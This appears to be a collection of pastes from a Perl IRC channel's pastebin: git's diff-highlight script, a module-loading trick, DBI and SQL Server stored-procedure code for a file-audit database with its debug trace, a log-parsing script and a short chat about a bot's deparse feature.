	# If we have mismatched numbers of lines on each side, we could try to
	# be clever and match up similar lines. But for now we are simple and
	# stupid, and only handle multi-line hunks that remove and add the same
	# number of lines.
	if (@$a != @$b) {
		$line_cb->(@$a, @$b);
		return;
	}

	my @queue;
	for (my $i = 0; $i < @$a; $i++) {
		my ($rm, $add) = highlight_pair($a->[$i], $b->[$i]);
		$line_cb->($rm);
		push @queue, $add;
	}
	$line_cb->(@queue);
}

sub highlight_pair {
	my @a = split_line(shift);
	my @b = split_line(shift);

	# Find common prefix, taking care to skip any ansi
	# color codes.
	my $seen_plusminus;
	my ($pa, $pb) = (0, 0);
	while ($pa < @a && $pb < @b) {
		if ($a[$pa] =~ /$COLOR/) {
			$pa++;
		}
		elsif ($b[$pb] =~ /$COLOR/) {
			$pb++;
		}
		elsif ($a[$pa] eq $b[$pb]) {
			$pa++;
			$pb++;
		}
		elsif (!$seen_plusminus && $a[$pa] eq '-' && $b[$pb] eq '+') {
			$seen_plusminus = 1;
			$pa++;
			$pb++;
		}
		else {
			last;
		}
	}

	# Find common suffix, ignoring colors.
	my ($sa, $sb) = ($#a, $#b);
	while ($sa >= $pa && $sb >= $pb) {
		if ($a[$sa] =~ /$COLOR/) {
			$sa--;
		}
		elsif ($b[$sb] =~ /$COLOR/) {
			$sb--;
		}
		elsif ($a[$sa] eq $b[$sb]) {
			$sa--;
			$sb--;
		}
		else {
			last;
		}
	}

	if (is_pair_interesting(\@a, $pa, $sa, \@b, $pb, $sb)) {
		return highlight_line(\@a, $pa, $sa, \@OLD_HIGHLIGHT),
		       highlight_line(\@b, $pb, $sb, \@NEW_HIGHLIGHT);
	}
	else {
		return join('', @a),
		       join('', @b);
	}
}

# we split either by $COLOR or by character. This has the side effect of
# leaving in graph cruft. It works because the graph cruft does not contain "-"
# or "+"
sub split_line {
	local $_ = shift;
	return utf8::decode($_) ?
		map { utf8::encode($_); $_ }
			map { /$COLOR/ ? $_ : (split //) }
			split /($COLOR+)/ :
		map { /$COLOR/ ? $_ : (split //) }
		split /($COLOR+)/;
}

sub highlight_line {
	my ($line, $prefix, $suffix, $theme) = @_;

	my $start = join('', @{$line}[0..($prefix-1)]);
	my $mid = join('', @{$line}[$prefix..$suffix]);
	my $end = join('', @{$line}[($suffix+1)..$#$line]);

	# If we have a "normal" color specified, then take over the whole line.
	# Otherwise, we try to just manipulate the highlighted bits.
	if (defined $theme->[0]) {
		s/$COLOR//g for ($start, $mid, $end);
		chomp $end;
		return join('',
			$theme->[0], $start, $RESET,
			$theme->[1], $mid, $RESET,
			$theme->[0], $end, $RESET,
			"\n"
		);
	} else {
		return join('',
			$start,
			$theme->[1], $mid, $theme->[2],
			$end
		);
	}
}

# Pairs are interesting to highlight only if we are going to end up
# highlighting a subset (i.e., not the whole line). Otherwise, the highlighting
# is just useless noise. We can detect this by finding either a matching prefix
# or suffix (disregarding boring bits like whitespace and colorization).
sub is_pair_interesting {
	my ($a, $pa, $sa, $b, $pb, $sb) = @_;
	my $prefix_a = join('', @$a[0..($pa-1)]);
	my $prefix_b = join('', @$b[0..($pb-1)]);
	my $suffix_a = join('', @$a[($sa+1)..$#$a]);
	my $suffix_b = join('', @$b[($sb+1)..$#$b]);

	return $prefix_a !~ /^$GRAPH*$COLOR*-$BORING*$/ ||
	       $prefix_b !~ /^$GRAPH*$COLOR*\+$BORING*$/ ||
	       $suffix_a !~ /^$BORING*$/ ||
	       $suffix_b !~ /^$BORING*$/;
}

__PACKAGE__->highlight_stdio() unless caller;
1;


who: scottchiefbaker
where: localhost:perlbot:#perl
paste:
#!/usr/bin/env perl

package DiffHighlight;

use 5.008;
use warnings FATAL => 'all';
use strict;

# Highlight by reversing foreground and background. You could do
# other things like bold or underline if you prefer.
my @OLD_HIGHLIGHT = (
	color_config('color.diff-highlight.oldnormal'),
	color_config('color.diff-highlight.oldhighlight', "\x1b[7m"),
	color_config('color.diff-highlight.oldreset', "\x1b[27m")
);
my @NEW_HIGHLIGHT = (
	color_config('color.diff-highlight.newnormal', $OLD_HIGHLIGHT[0]),
	color_config('color.diff-highlight.newhighlight', $OLD_HIGHLIGHT[1]),
	color_config('color.diff-highlight.newreset', $OLD_HIGHLIGHT[2])
);

my $RESET = "\x1b[m";
my $COLOR = qr/\x1b\[[0-9;]*m/;
my $BORING = qr/$COLOR|\s/;

# The patch portion of git log -p --graph should only ever have preceding | and
# not / or \ as merge history only shows up on the commit line.
my $GRAPH = qr/$COLOR?\|$COLOR?\s+/;

my @removed;
my @added;
my $in_hunk;
our $line_cb = sub { print @_ };

sub handle_line {
	local $_ = shift;

	if (!$in_hunk) {
		$line_cb->($_);
		$in_hunk = /^$GRAPH*$COLOR*\@\@ /;
	}
	elsif (/^$GRAPH*$COLOR*-/) {
		push @removed, $_;
	}
	elsif (/^$GRAPH*$COLOR*\+/) {
		push @added, $_;
	}
	else {
		show_hunk(\@removed, \@added);
		@removed = ();
		@added = ();

		$line_cb->($_);
		$in_hunk = /^$GRAPH*$COLOR*[\@ ]/;
	}

	# Most of the time there is enough output to keep things streaming,
	# but for something like "git log -Sfoo", you can get one early
	# commit and then many seconds of nothing. We want to show
	# that one commit as soon as possible.
	#
	# Since we can receive arbitrary input, there's no optimal
	# place to flush. Flushing on a blank line is a heuristic that
	# happens to match git-log output.
	if (!length) {
		local $| = 1;
	}
}

sub flush {
	# Flush any queued hunk (this can happen when there is no trailing context in
	# the final diff of the input).
	show_hunk(\@removed, \@added);
}

sub highlight_stdio {
	# Some scripts may not realize that SIGPIPE is being ignored when launching the
	# pager--for instance scripts written in Python.
	$SIG{PIPE} = 'DEFAULT';

	while (<>) {
		handle_line($_);
	}
	flush();
	exit 0;
}

# Ideally we would feed the default as a human-readable color to
# git-config as the fallback value. But diff-highlight does
# not otherwise depend on git at all, and there are reports
# of it being used in other settings. Let's handle our own
# fallback, which means we will work even if git can't be run.
sub color_config {
	my ($key, $default) = @_;
	my $s = `git config --get-color $key 2>/dev/null`;
	return length($s) ? $s : $default;
}

sub show_hunk {
	my ($a, $b) = @_;

	# If one side is empty, then there is nothing to compare or highlight.
	if (!@$a || !@$b) {
		$line_cb->(@$a, @$b);
		return;
	}

	# If we have mismatched numbers of lines on each side, we could try to
	# be clever and match up similar lines. But for now we are simple and
	# stupid, and only handle multi-line hunks that remove and add the same
	# number of lines.
	if (@$a != @$b) {
		$line_cb->(@$a, @$b);
		return;
	}

	my @queue;
	for (my $i = 0; $i < @$a; $i++) {
		my ($rm, $add) = highlight_pair($a->[$i], $b->[$i]);
		$line_cb->($rm);
		push @queue, $add;
	}
	$line_cb->(@queue);
}

sub highlight_pair {
	my @a = split_line(shift);
	my @b = split_line(shift);

	# Find common prefix, taking care to skip any ansi
	# color codes.
	my $seen_plusminus;
	my ($pa, $pb) = (0, 0);
	while ($pa < @a && $pb < @b) {
		if ($a[$pa] =~ /$COLOR/) {
			$pa++;
		}
		elsif ($b[$pb] =~ /$COLOR/) {
			$pb++;
		}
		elsif ($a[$pa] eq $b[$pb]) {
			$pa++;
			$pb++;
		}
		elsif (!$seen_plusminus && $a[$pa] eq '-' && $b[$pb] eq '+') {
			$seen_plusminus = 1;
			$pa++;
			$pb++;
		}
		else {
			last;
		}
	}

	# Find common suffix, ignoring colors.
	my ($sa, $sb) = ($#a, $#b);
	while ($sa >= $pa && $sb >= $pb) {
		if ($a[$sa] =~ /$COLOR/) {
			$sa--;
		}
		elsif ($b[$sb] =~ /$COLOR/) {
			$sb--;
		}
		elsif ($a[$sa] eq $b[$sb]) {
			$sa--;
			$sb--;
		}
		else {
			last;
		}
	}

	if (is_pair_interesting(\@a, $pa, $sa, \@b, $pb, $sb)) {
		return highlight_line(\@a, $pa, $sa, \@OLD_HIGHLIGHT),
		       highlight_line(\@b, $pb, $sb, \@NEW_HIGHLIGHT);
	}
	else {
		return join('', @a),
		       join('', @b);
	}
}

# we split either by $COLOR or by character. This has the side effect of
# leaving in graph cruft. It works because the graph cruft does not contain "-"
# or "+"
sub split_line {
	local $_ = shift;
	return utf8::decode($_) ?
		map { utf8::encode($_); $_ }
			map { /$COLOR/ ? $_ : (split //) }
			split /($COLOR+)/ :
		map { /$COLOR/ ? $_ : (split //) }
		split /($COLOR+)/;
}

sub highlight_line {
	my ($line, $prefix, $suffix, $theme) = @_;

	my $start = join('', @{$line}[0..($prefix-1)]);
	my $mid = join('', @{$line}[$prefix..$suffix]);
	my $end = join('', @{$line}[($suffix+1)..$#$line]);

	# If we have a "normal" color specified, then take over the whole line.
	# Otherwise, we try to just manipulate the highlighted bits.
	if (defined $theme->[0]) {
		s/$COLOR//g for ($start, $mid, $end);
		chomp $end;
		return join('',
			$theme->[0], $start, $RESET,
			$theme->[1], $mid, $RESET,
			$theme->[0], $end, $RESET,
			"\n"
		);
	} else {
		return join('',
			$start,
			$theme->[1], $mid, $theme->[2],
			$end
		);
	}
}

# Pairs are interesting to highlight only if we are going to end up
# highlighting a subset (i.e., not the whole line). Otherwise, the highlighting
# is just useless noise. We can detect this by finding either a matching prefix
# or suffix (disregarding boring bits like whitespace and colorization).
sub is_pair_interesting {
	my ($a, $pa, $sa, $b, $pb, $sb) = @_;
	my $prefix_a = join('', @$a[0..($pa-1)]);
	my $prefix_b = join('', @$b[0..($pb-1)]);
	my $suffix_a = join('', @$a[($sa+1)..$#$a]);
	my $suffix_b = join('', @$b[($sb+1)..$#$b]);

	return $prefix_a !~ /^$GRAPH*$COLOR*-$BORING*$/ ||
	       $prefix_b !~ /^$GRAPH*$COLOR*\+$BORING*$/ ||
	       $suffix_a !~ /^$BORING*$/ ||
	       $suffix_b !~ /^$BORING*$/;
}

__PACKAGE__->highlight_stdio() unless caller;
1;


who: scottchiefbaker
where: localhost:perlbot-magnet:#perl
paste:
The dirtiest way is that you can just cat the two scripts together.
We'll have to change the "unless caller" bit at the end of the
diff-highlight script to something like:

  our $diff_highlight_as_module = 0;

  [...all the contents of diff-highight...]
  __PACKAGE__->highlight_stdio() unless $diff_highlight_as_module;

A slightly weirder way, but one that lets you cleanly do "use
DiffHighlight" as if it were a regular module, is to put a special
function onto @INC.

Here's a generic snippet that I use:

  BEGIN {
    open(my $fh, $0) or die "unable to open $0: $!";
    while(my $line = <$fh>) { last if $line =~ /^__END__/ }
    my %index;
    while(my $line = <$fh>) {
      if($line =~ /^__STATIC_INCLUDE__ (.*)/) {
        $index{$1} = tell($fh);
      }
    }
    unshift @INC, sub {
      (undef, my $name) = @_;
      $index{$name} or return undef;
      open(my $r, '<', $0) or die "unable to open $0: $!";
      seek($r, $index{$name}, 0) or die "unable to seek: $!";
      return $r;
    };
  }

That goes at the beginning of your script, and then for each perl file
you want to "include", you do:

  echo __STATIC__INCLUDE__ DiffHighlight.pm
  cat diff-highlight
  echo __END__

I've been using that snippet for years, so I know it's pretty robust.
But it's a lot of complexity to carry around.


who: mlefevers
where: localhost:perlbot:#perl
what: fileaudit.insert.pl
paste:
$sth = $dbh->prepare( "exec FA_InsertFileInfo ?,?,?,?,?,?,?,?,?,?,?" );

$sth->bind_param( 1, qq{$dataFile},             SQL_VARCHAR )   or die $sth->errstr;
$sth->bind_param( 2, $flag,                     SQL_BIT )       or die $sth->errstr;
$sth->bind_param( 3, $filetype,                 SQL_VARCHAR )   or die $sth->errstr;
$sth->bind_param( 4, $sourceHost,               SQL_VARCHAR )   or die $sth->errstr;
$sth->bind_param( 5, $destHost,                 SQL_VARCHAR )   or die $sth->errstr;
$sth->bind_param( 6, $operator,                 SQL_VARCHAR )   or die $sth->errstr;
$sth->bind_param( 7, $filetime,                 SQL_VARCHAR )   or die $sth->errstr;
$sth->bind_param( 8, $callingScript,                SQL_VARCHAR )   or die $sth->errstr;
$sth->bind_param( 9, $isBinary,                 SQL_BIT )       or die $sth->errstr;
$fileID = 0;
$errStr = '';

$sth->bind_param_inout( 10, \$errStr,    SQL_VARCHAR )   or die $sth->errstr;
$sth->bind_param_inout( 11, \$fileID,    SQL_INTEGER )   or die $sth->errstr;


who: mlefevers
where: localhost:perlbot:#perl
what: MSSQL_trace
paste:
declare @p1 int
set @p1=NULL
declare @p13 varchar(30)
set @p13=''
declare @p14 varchar(30)
set @p14='0'
exec sp_prepexec @p1 output,N'@P1 VARCHAR(80),@P2 BIT,@P3 VARCHAR(80),@P4 VARCHAR(80),@P5 VARCHAR(80),@P6 VARCHAR(80),@P7 VARCHAR(80),@P8 VARCHAR(80),@P9 BIT,@P10 VARCHAR(30),@P11 VARCHAR(30)',N'exec FA_InsertFileInfo @P1,@P2,@P3,@P4,@P5,@P6,@P7,@P8,@P9,@P10,@P11','file_path',1,'script_name','script_name','server','account
','date_time','script_name',1,@p13 output,@p14 output
select @p1, @p13, @p14


where: localhost:perlbot:#perl
paste:
grep -rl --color=never nmap.xsl | perl -ne '$a = system("pwd"); $b="$_"; $chomped = chomp($a); $filename = join $chomped, $b; print ${filename};'

/tr0ll/192.168.136.128
192.168.136.128_ftp.nmap.xml


who: mlefevers
where: localhost:perlbot:#perl
what: FA_InsertFileInfo
paste:
USE [FileAudit]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO

ALTER procedure [dbo].[FA_InsertFileInfo]
	@vchFileName			varchar(255),
	@bIsIncoming			bit,
	@vchFileType			varchar(15),
	@vchSourceHost			varchar(50),
	@vchDestinationHost	varchar(50),
	@vchOperator			varchar(128),
	@dtDateCreated			datetime,
	@vchScriptName			varchar(50),
	@IsBinary			   bit = false,
	@vchError				varchar(255) output,
	@iReturn				   int output
as

select @iReturn = 0
select @vchError = ''

declare @vchTxRxStatus varchar(50)
select @vchTxRxStatus = 'INITIAL'

declare @dtTxRxTime datetime
select @dtTxRxTime = GetDate()

declare @dtLastStatusTime datetime
select @dtLastStatusTime = GetDate()


--
--	Validate the FileType
--
declare @checkFileType int
select @checkFileType =
(
	select	count(*)
	from	FileTypes
	where	TypeId = @vchFileType
)
if @checkFileType <> 1 
begin
	select @vchError = 'Invalid FileType'
	goto E_General_Error
end


--
--	Validate the SourceHost
--
declare @checkSourceHost int
select @checkSourceHost = 
(
	select	count(*)
	from	AllowedHosts
	where	HostName = @vchSourceHost
)
if @checkSourceHost <> 1 
begin
	select @vchError = 'Invalid SourceHost'
	goto E_General_Error
end


--
--	Validate the DestinationHost
--
declare @checkDestHost int
select @checkDestHost = 
(
	select	count(*)
	from	AllowedHosts
	where	HostName = @vchDestinationHost
)
if @checkDestHost <> 1 
begin
	select @vchError = 'Invalid DestinationHost'
	goto E_General_Error
end


--
--	Validate the length of some strings
--
if len( rtrim( @vchFileName ) ) = 0
begin
	select @vchError = 'Invalid FileName'
	goto E_General_Error
end

if len( rtrim( @vchOperator ) ) = 0
begin
	select @vchError = 'Invalid Operator'
	goto E_General_Error
end

if len( rtrim( @vchScriptName ) ) = 0
begin
	select @vchError = 'Invalid ScriptName'
	goto E_General_Error
end


--
--	Now wrap a transaction around the actual data insert
--
begin transaction InsertFileData

	insert into	FileList
	(
		FileName,
		IsIncoming,
		FileType,
		TxRxTime,
		LastStatusTime,
		SourceHost,
		DestinationHost,
		Operator,
		DateCreated,
		ScriptName,
		TxRxStatus,
      IsBinary
	)
	values
	(
		@vchFileName,
		@bIsIncoming,
		@vchFileType,
		@dtTxRxTime,
		@dtLastStatusTime,
		@vchSourceHost,
		@vchDestinationHost,
		@vchOperator,
		@dtDateCreated,
		@vchScriptName,
		@vchTxRxStatus,
      @IsBinary
	)

	if @@error <> 0 
	begin
		rollback transaction InsertFileData
		select @vchError = 'Unable to insert requested data'
		goto E_General_Error
	end

	select @iReturn =
	(
		select
			FileId
		from
			FileList
		where
			FileName				= @vchFileName
			and IsIncoming			= @bIsIncoming
			and FileType			= @vchFileType
			and TxRxTime			= @dtTxRxTime
			and LastStatusTime	= @dtLastStatusTime
			and SourceHost			= @vchSourceHost
			and DestinationHost	= @vchDestinationHost
			and Operator			= @vchOperator
			and DateCreated		= @dtDateCreated
			and ScriptName			= @vchScriptName
         and IsBinary         = @IsBinary
	)

	if @iReturn = 0
	begin
		rollback transaction InsertFileData
		select @vchError = 'Unable to obtain a valid FileId'
		goto E_General_Error
	end

commit transaction InsertFileData


CleanUp:
	return @iReturn

E_General_Error:
	raiserror( @vchError, 0, 1 )
	select @iReturn = 0
	goto CleanUp


who: millz
where: localhost:perlbot:#perl
paste:
        unless(fork())
        {       
                exec("echo -m -d /users/$program/$username -g $gid -p $encryptedPassword $username");
                exit(0);
        }
        wait();


who: simcop2387
where: localhost:perlbot-magnet:#perl
paste:
19:41:19 < haarg> simcop2387: perlbot deparse seems a bit broken
19:41:28 < simcop2387> haarg: how so?
19:41:31 < haarg> perlbot: deparse: sub foo { print "hi" }
19:41:31 < perlbot> haarg:  (); no feature ':all'; use feature ':5.24'; ;
19:41:35 < simcop2387> wut
19:41:58 < haarg> seems to be entirely ignoring subs
19:41:58 < simcop2387> let me look, the deparse code hasn't changed in a long time
19:42:47 < simcop2387> leont_: yea i don't envy that
19:43:04 < simcop2387> perlbot: deparse: sub foo {print "hi"}; foo()
19:43:05 < perlbot> simcop2387:  no feature ':all'; use feature ':5.24'; foo();
19:43:13 < Grinnz> i'm pretty sure deparse has always ignored subs


who: Endryu
where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl

use strict;
use warnings;
use 5.022;

my $filename;

if ( (@ARGV > 0) && (@ARGV < 2) ) {
	$filename = $ARGV[0];
}

elsif ( @ARGV == 0 ) {
	print("Not enough parameters![REQUIRED 1 - FILE NAME]\n");
	exit 0;
}

elsif ( @ARGV > 2 ) {
	print("Too many parameters![REQUIRED 1 - FILE NAME]\n");
	exit 0;
}

open(my $fh, $filename)
	or die ("Cant't open $filename: $!");

my @values;
my $count = 0;
my (@day, @time, @ip, @lang, @country, @size, @desc, @browser);

foreach my $line (<$fh>) {

	if ( $line =~ m/^(?<day>[^ ]+)\ *(?<time>[^,]+),\ +\+(?<ip>\d+\.\d+\.\d+\.\d+)\ +\*,(?<lang>[^\/]+)\/(?<country>[^,]+),\ +(?<size>[^,]+),\ +(?<desc>[^(]+)\(\S+,\ AGENT='(?<browser>.*?)'$/ ) {
		
	#say join "\n", $+{day}, $+{time}, $+{ip}, $+{lang}, $+{size}, $+{desc}, $+{browser};
	#@values[$count-1] = join " ", $+{day}, $+{time}, $+{ip}, $+{lang}, $+{country}, $+{size}, $+{desc}, $+{browser};

	$day[$count] = $+{day};
	$time[$count] = $+{time};
	$ip[$count] = $+{ip};
	$lang[$count] = $+{country};
	$size[$count] = $+{size};
	$desc[$count] = $+{desc};
	$browser[$count] = $+{browser};
	}

	else {
		print("Wrong file on line: $count\n $line\n");
		next;
	}
	$count++;
	#chomp($line);
	#last;
}	

close($fh)
	or warn ("Closing file $filename failed: $!");


who: mlefevers
where: localhost:perlbot:#perl
what: fileaudit.insert.pl DBI Trace lvl 3
paste:
[2017-04-05 15:31] Processing file [ladeda.exe]
    DBI 1.627-ithread default trace level set to 0x0/3 (pid 27410 pi 1e38010) at DBI.pm line 288 via fileaudit.insert.pl line 62
    -> DBI->connect(dbi:ODBC:MSSQLDB, ADAccount, ****)
    -> DBI->install_driver(ODBC) for linux perl=5.016003 pid=27410 ruid=1001 euid=1001
       install_driver: DBD::ODBC version 1.50 loaded from /usr/lib64/perl5/vendor_perl/DBD/ODBC.pm
    <- install_driver= DBI::dr=HASH(0x216ec98)
    !! warn: 0 CLEARED by call to connect method
    -> connect for DBD::ODBC::dr (DBI::dr=HASH(0x216ec98)~0x216ed58 'MSSQLDB' 'ADAccount' **** HASH(0x1f6dc18)) thr#1e38010
    <- connect= ( DBI::db=HASH(0x21729e0) ) [1 items] at DBI.pm line 670
    -> STORE for DBD::ODBC::db (DBI::db=HASH(0x2172908)~INNER 'PrintError' 1) thr#1e38010
    !!DBD::ODBC unsupported attribute passed (PrintError)
    STORE DBI::db=HASH(0x2172908) 'PrintError' => 1
    <- STORE= ( 1 ) [1 items] at DBI.pm line 722
    -> STORE for DBD::ODBC::db (DBI::db=HASH(0x2172908)~INNER 'AutoCommit' 1) thr#1e38010
    setting AutoCommit
    <- STORE= ( 1 ) [1 items] at DBI.pm line 722
    -> STORE for DBD::ODBC::db (DBI::db=HASH(0x2172908)~INNER 'Username' 'ADAccount') thr#1e38010
    !!DBD::ODBC unsupported attribute passed (Username)
    STORE DBI::db=HASH(0x2172908) 'Username' => 'ADAccount'
    <- STORE= ( 1 ) [1 items] at DBI.pm line 725 via  at fileaudit.insert.pl line 88
    -> connected in DBD::_::db for DBD::ODBC::db (DBI::db=HASH(0x21729e0)~0x2172908 'dbi:ODBC:MSSQLDB' 'ADAccount' ****) thr#1e38010
    <- connected= ( undef ) [1 items] at DBI.pm line 732
    <- connect= DBI::db=HASH(0x21729e0)
    -> STORE for DBD::ODBC::db (DBI::db=HASH(0x2172908)~INNER 'dbi_connect_closure' CODE(0x216f0b8)) thr#1e38010
    !!DBD::ODBC unsupported attribute passed (dbi_connect_closure)
    STORE DBI::db=HASH(0x2172908) 'dbi_connect_closure' => CODE(0x216f0b8)
    <- STORE= ( 1 ) [1 items] at DBI.pm line 741 via  at fileaudit.insert.pl line 88
    -> prepare for DBD::ODBC::db (DBI::db=HASH(0x21729e0)~0x2172908 'exec FA_InsertFileInfo ?,?,?,?,?,?,?,?,?,?,?') thr#1e38010
    SQLPrepare exec FA_InsertFileInfo ?,?,?,?,?,?,?,?,?,?,?
    SQLPrepare = 0
    <- prepare= ( DBI::st=HASH(0x2172e00) ) [1 items] at fileaudit.insert.pl line 136
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 1 'ladeda.exe' 12) thr#1e38010
SQLDescribeParam not supported, sv=76 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.insert.pl line 138
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 2 '1' -7) thr#1e38010
SQLDescribeParam not supported, sv=1 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.insert.pl line 139
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 3 'SCRIPTNAME' 12) thr#1e38010
SQLDescribeParam not supported, sv=13 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.insert.pl line 140
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 4 'SCRIPTNAME' 12) thr#1e38010
SQLDescribeParam not supported, sv=13 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.insert.pl line 141
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 5 'LINUXHOSTNAME' 12) thr#1e38010
SQLDescribeParam not supported, sv=8 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.insert.pl line 142
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 6 'LINUXACCOUNT
' 12) thr#1e38010
SQLDescribeParam not supported, sv=9 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.insert.pl line 143
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 7 '2016-07-12 12:19:08' 12) thr#1e38010
SQLDescribeParam not supported, sv=19 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.insert.pl line 144
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 8 'SCRIPTNAME.bsh' 12) thr#1e38010
SQLDescribeParam not supported, sv=17 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.insert.pl line 145
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 9 1 -7) thr#1e38010
SQLDescribeParam not supported, sv=1 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.insert.pl line 146
    -> bind_param_inout for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 10 SCALAR(0x2150038) 12) thr#1e38010
SQLDescribeParam not supported, sv=0 bytes, defaulting to 12
    <- bind_param_inout= ( 1 ) [1 items] at fileaudit.insert.pl line 166
    -> bind_param_inout for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70 11 SCALAR(0x214fff0) 4) thr#1e38010
SQLDescribeParam not supported, sv=1 bytes, defaulting to 12
    <- bind_param_inout= ( 1 ) [1 items] at fileaudit.insert.pl line 167
    -> execute for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70) thr#1e38010
    +dbd_st_execute(1fcded0)
    dbd_st_finish(1fcded0)
SQLDescribeParam not supported, sv=1 bytes, defaulting to 12
    !SQLError(21752d0,21759b0,21d2cd0) = (42000, 8162, [FreeTDS][SQL Server]The formal parameter "@P10" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output.)
    !SQLError(21752d0,21759b0,21d2cd0) = (42000, 8180, [FreeTDS][SQL Server]Statement(s) could not be prepared.)
    -dbd_st_execute(1fcded0)=-2
    !! ERROR: 1 '[FreeTDS][SQL Server]The formal parameter "@P10" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' (err#2)
    <- execute= ( undef ) [1 items] at fileaudit.insert.pl line 169
DBD::ODBC::st execute failed: [FreeTDS][SQL Server]The formal parameter "@P10" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000) at fileaudit.insert.pl line 169, <IN> line 1.
    -> errstr in DBD::_::common for DBD::ODBC::st (DBI::st=HASH(0x2172e00)~0x2172d70) thr#1e38010
       ERROR: 1 '[FreeTDS][SQL Server]The formal parameter "@P10" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' (err#2)
    <- errstr= ( '[FreeTDS][SQL Server]The formal parameter "@P10" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' ) [1 items] at fileaudit.insert.pl line 169
[FreeTDS][SQL Server]The formal parameter "@P10" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000) at fileaudit.insert.pl line 169, <IN> line 1.
    <> DESTROY(DBI::db=HASH(0x21729e0)) ignored for outer handle (inner DBI::db=HASH(0x2172908) has ref cnt 3)
    -- DBI::END ($@: , $!: )
    -> disconnect_all for DBD::ODBC::dr (DBI::dr=HASH(0x216ec98)~0x216ed58) thr#1e38010
    <- disconnect_all= ( '' ) [1 items] at DBI.pm line 749 via  at fileaudit.insert.pl line 169
!   <> DESTROY(DBI::st=HASH(0x2172e00)) ignored for outer handle (inner DBI::st=HASH(0x2172d70) has ref cnt 1)
!   -> DESTROY for DBD::ODBC::st (DBI::st=HASH(0x2172d70)~INNER) thr#1e38010
       ERROR: 1 '[FreeTDS][SQL Server]The formal parameter "@P10" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' (err#2)
!   <- DESTROY= ( undef ) [1 items] during global destruction
!   -> DESTROY for DBD::ODBC::db (DBI::db=HASH(0x2172908)~INNER) thr#1e38010
       ERROR: 1 '[FreeTDS][SQL Server]The formal parameter "@P10" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' (err#0)
!   <- DESTROY= ( undef ) [1 items] during global destruction
!   -> DESTROY in DBD::_::common for DBD::ODBC::dr (DBI::dr=HASH(0x216ed58)~INNER) thr#1e38010
!   <- DESTROY= ( undef ) [1 items] during global destruction
!   <> DESTROY for DBI::dr=HASH(0x216ec98) ignored (inner handle gone)
[2017-04-05 15:31] Successful insert of [ladeda.exe].  FileID =
[2017-04-05 15:31] Updating transmission status for file [ladeda.exe]
    DBI 1.627-ithread default trace level set to 0x0/3 (pid 27420 pi 11b9010) at DBI.pm line 288 via fileaudit.status_update.pl line 48
    -> DBI->connect(dbi:ODBC:MSSQLDB, ADAccount, ****)
    -> DBI->install_driver(ODBC) for linux perl=5.016003 pid=27420 ruid=1001 euid=1001
       install_driver: DBD::ODBC version 1.50 loaded from /usr/lib64/perl5/vendor_perl/DBD/ODBC.pm
    <- install_driver= DBI::dr=HASH(0x149ed70)
    !! warn: 0 CLEARED by call to connect method
    -> connect for DBD::ODBC::dr (DBI::dr=HASH(0x149ed70)~0x149ee30 'MSSQLDB' 'ADAccount' **** HASH(0x12ee0e8)) thr#11b9010
    <- connect= ( DBI::db=HASH(0x11e43c8) ) [1 items] at DBI.pm line 670
    -> STORE for DBD::ODBC::db (DBI::db=HASH(0x11e42f0)~INNER 'PrintError' 1) thr#11b9010
    !!DBD::ODBC unsupported attribute passed (PrintError)
    STORE DBI::db=HASH(0x11e42f0) 'PrintError' => 1
    <- STORE= ( 1 ) [1 items] at DBI.pm line 722
    -> STORE for DBD::ODBC::db (DBI::db=HASH(0x11e42f0)~INNER 'AutoCommit' 1) thr#11b9010
    setting AutoCommit
    <- STORE= ( 1 ) [1 items] at DBI.pm line 722
    -> STORE for DBD::ODBC::db (DBI::db=HASH(0x11e42f0)~INNER 'Username' 'ADAccount') thr#11b9010
    !!DBD::ODBC unsupported attribute passed (Username)
    STORE DBI::db=HASH(0x11e42f0) 'Username' => 'ADAccount'
    <- STORE= ( 1 ) [1 items] at DBI.pm line 725 via  at fileaudit.status_update.pl line 69
